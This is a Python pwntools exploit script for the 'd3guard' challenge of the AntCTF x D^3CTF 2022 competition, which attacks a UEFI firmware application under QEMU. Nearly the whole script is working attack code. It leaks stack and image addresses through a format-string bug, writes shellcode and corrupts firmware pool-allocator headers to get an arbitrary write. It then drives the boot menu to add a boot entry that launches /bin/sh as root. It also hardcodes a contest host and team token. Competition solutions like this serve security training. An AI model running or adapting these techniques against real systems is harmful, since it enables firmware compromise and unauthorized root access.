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exp.py
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exp.py
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#!/usr/bin/python3
# ************************************************ #
# AntCTF x D^3CTF 2022 #
# Type: Pwnable #
# Chall: d3guard #
# Author: Eqqie (https://github.com/yikesoftware/) #
# ************************************************ #
from pwn import *
import os
import sys
import random
context.arch = "amd64"
remote_addr = ("1-lb-pwn-challenge-cluster.d3ctf.io", 32659)
test_token = b"Sdtwx24ticC608cDjeeK35700MgHXh5D"
if len(sys.argv) != 2:
print("python3 exp.py <remote-socat|remote-debug|remote-nodebug|local-socat|local-nodebug|local-debug>")
sys.exit(0)
mode = sys.argv[1]
# remote
if mode == "remote-socat":
os.system("clear")
os.system(
f"socat $(tty),echo=0,escape=0x03 SYSTEM:\"python3 {__file__} remote-nodebug\" 2>&1")
sys.exit(0)
elif mode == "remote-debug":
context.log_level = "debug"
do_proof = True
p = remote(remote_addr[0], remote_addr[1])
elif mode == "remote-nodebug":
do_proof = True
p = remote(remote_addr[0], remote_addr[1])
# lcoal
elif mode == "local-socat":
os.system("cp OVMF.fd.bak OVMF.fd")
os.system(
f"socat $(tty),echo=0,escape=0x03 SYSTEM:\"python3 {__file__} local-nodebug\" 2>&1")
elif mode == "local-debug":
do_proof = False
os.system("cp OVMF.fd.bak OVMF.fd")
p = process([
"qemu-system-x86_64",
"-s",
"-m", f"{256+random.randint(0, 512)}",
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-nographic"
])
elif mode == "local-nodebug":
do_proof = False
os.system("cp OVMF.fd.bak OVMF.fd")
p = process([
"qemu-system-x86_64",
"-m", f"{256+random.randint(0, 512)}",
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-nographic"
])
def new_visitor(_id: int, name, desc):
p.sendafter(b">> ", b"1\r")
p.sendafter(b"ID: ", str(_id).encode()+b"\r")
p.sendafter(b"Name: ", name+b"\r")
p.sendafter(b"Desc: ", desc+b"\r")
def edit(target, content):
p.sendafter(b">> ", b"2\r")
if target == 1 or target == "name":
p.sendafter(b">> ", b"1\r")
p.sendafter(b"Name: ", content+b"\r")
if target == 2 or target == "desc":
p.sendafter(b">> ", b"2\r")
p.sendafter(b"Desc: ", content+b"\r")
def clear():
p.sendafter(b">> ", b"3\r")
key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}
def send_key(_key: str, times: int = 1):
for _ in range(times):
p.send(key_map[_key])
def exp():
# team token
if do_proof:
print("test_token:", test_token)
p.sendlineafter(b"Input your team token:", test_token)
# into 'UiAPP'
p.recv(1)
p.send(b'\x1b[24~'*20)
# leak image_addr & stack_addr
p.sendafter(b"Visitor): ", b"1\r")
p.sendafter(b"Username: ",
b"|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p\r")
p.recvuntil(b"User [")
for _ in range(5):
p.recvuntil(b"|")
stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
for _ in range(11):
p.recvuntil(b"|")
image_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
app_base = image_leak-0x173f5
# write null-off shellcode
p.sendafter(b"Visitor): ", b"1\r")
p.sendafter(b"Username: ", b"Admin\r")
shellcode = asm('''
jmp JUMP;
.byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90;
.byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90;
JUMP:
mov rax, r15;
mov rbx, 0x1461e11;
shr rbx, 8;
sub rax, rbx;
jmp rax;
''')
p.sendafter(b"Pass key: ", shellcode+b"\r")
# into visitor system
p.sendafter(b"Visitor): ", b"2\r")
# new
new_visitor(1, b"eqqie", b"a")
clear()
edit("name", b"eqqie")
edit("desc", b"aaa")
# modify POOL_HEAD.Type
# part3
part3 = b""
part3 += p64(0x40)[0:7] # POOL_HEAD.Size
edit("desc", b"\xaf"*(0x7f-len(part3))+part3)
# part2
part2 = b""
part2 += b"\xaf"*0x20 # pad
part2 += p32(0x30646870) # POOL_HEAD.Signature
part2 += b"\xaf\xaf\xaf\xaf" # POOL_HEAD.Reserved
part2 += p8(10) # POOL_HEAD.Type (EfiACPIMemoryNVS)
for i in range(6, -1, -1):
tmp = part2+b"\xaf"*i
edit("desc", b"\xaf"*(0x7f-len(part3)-len(part2)-7)+tmp)
# part1
part1 = b""
part1 = part1.ljust(0x38, b"\xaf")
part1 += b"ptal" # POOL_TAIL.Signature
part1 += b"\xaf"*4 # POOL_TAIL.Reserved
part1 += p8(0x60) # POOL_TAIL.Size
for i in range(6, -1, -1):
tmp = part1+b"\xaf"*i
edit("desc", b"\xaf"*(0x7f-len(part3)-len(part2)-7-len(part1)-7)+tmp)
# Put 'name' into other free list
clear()
# poison unlink
edit("desc", b"aaa")
edit("name", b"eqqie")
clear()
edit("desc", b"aaa")
edit("name", b"eqqie")
# calc addr
ret_addr = stack_leak-0x104ba
stack_shellcode = ret_addr-0x49
# part4(BK)
part4 = p32(ret_addr)
edit("desc", b"\xaf"*0x78+part4)
# part3(FD)
part3 = p32(stack_shellcode)
for i in range(3, -1, -1):
tmp = part3+b"\xaf"*i
edit("desc", b"\xaf"*0x70+tmp)
# part2
part2 = b"pfr0"
for i in range(3, -1, -1):
tmp = part2+b"\xaf"*i
edit("desc", b"\xaf"*0x68+tmp)
# part1
part1 = b"\xaf"*0x38
part1 += b"ptal"+b"\xaf"*4
part1 += p8(0x60)
for i in range(6, -1, -1):
tmp = part1+b"\xaf"*i
edit("desc", tmp)
# return to UiAPP
p.sendafter(b">> ", b"4\r")
print("app_base:", hex(app_base))
print("ret_addr:", hex(ret_addr))
print("stack_shellcode:", hex(stack_shellcode))
p.send(b"\r")
# Add new boot option
p.recvuntil(b"Standard PC")
send_key("down", 3)
send_key("enter")
send_key("enter")
send_key("down")
send_key("enter")
send_key("enter")
send_key("down", 3)
send_key("enter")
p.send(b"\rrootshell\r")
send_key("down")
p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
send_key("down")
send_key("enter")
send_key("up")
send_key("enter")
send_key("esc")
send_key("enter")
send_key("down", 3)
send_key("enter")
# root shell
# p.sendlineafter(b"/ #", b"cat /flag")
p.interactive()
if __name__ == "__main__":
exp()